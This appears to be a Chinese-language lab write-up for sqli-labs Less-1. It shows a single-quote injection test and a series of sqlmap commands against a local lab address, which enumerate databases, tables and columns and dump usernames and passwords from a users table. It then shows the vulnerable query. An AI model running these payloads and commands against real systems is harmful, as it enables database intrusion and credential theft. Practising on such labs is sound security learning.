目录
类型
基于字符串的错误
注入判断
?id=1'
![](https://i-blog.csdnimg.cn/blog_migrate/322418eb9a256ec8afda862f1be8711d.png)
根据提示猜测,sql语句大概为
select * from 表名 where id = 参数 LIMIT 0,1
-u参数
python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1"
![](https://i-blog.csdnimg.cn/blog_migrate/2ba2cc024cebdde6783f7fea206c8e79.png)
共发现4种注入类型
![](https://i-blog.csdnimg.cn/blog_migrate/0adb2c3c10fa0c6aeb2d28adf3d49a60.png)
-dbs参数爆数据库
python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -dbs
![](https://i-blog.csdnimg.cn/blog_migrate/859d79232ff1de1776a0209244508c15.png)
-tables参数爆表
python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -D security -tables
![](https://i-blog.csdnimg.cn/blog_migrate/94685f6d505eca7518dd434ba9ef5428.png)
-columns爆列
python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -D security -T users -columns
![](https://i-blog.csdnimg.cn/blog_migrate/de2e058ca03b2ada97b767eeb8bd762d.png)
-dump爆数据
选择把三列数据都爆出来
python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-1/?id=1" -D security -T users -C id,username,password -dump
![](https://i-blog.csdnimg.cn/blog_migrate/9e50f42f99a9d8290bbe1c3109fc0779.png)
查看源代码
sql语句为
SELECT * FROM users WHERE id='$id' LIMIT 0,1
查看数据库
![](https://i-blog.csdnimg.cn/blog_migrate/a621d13be583e6364e60abcb0e1f9369.png)
更多内容查看:网络安全-自学笔记
有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。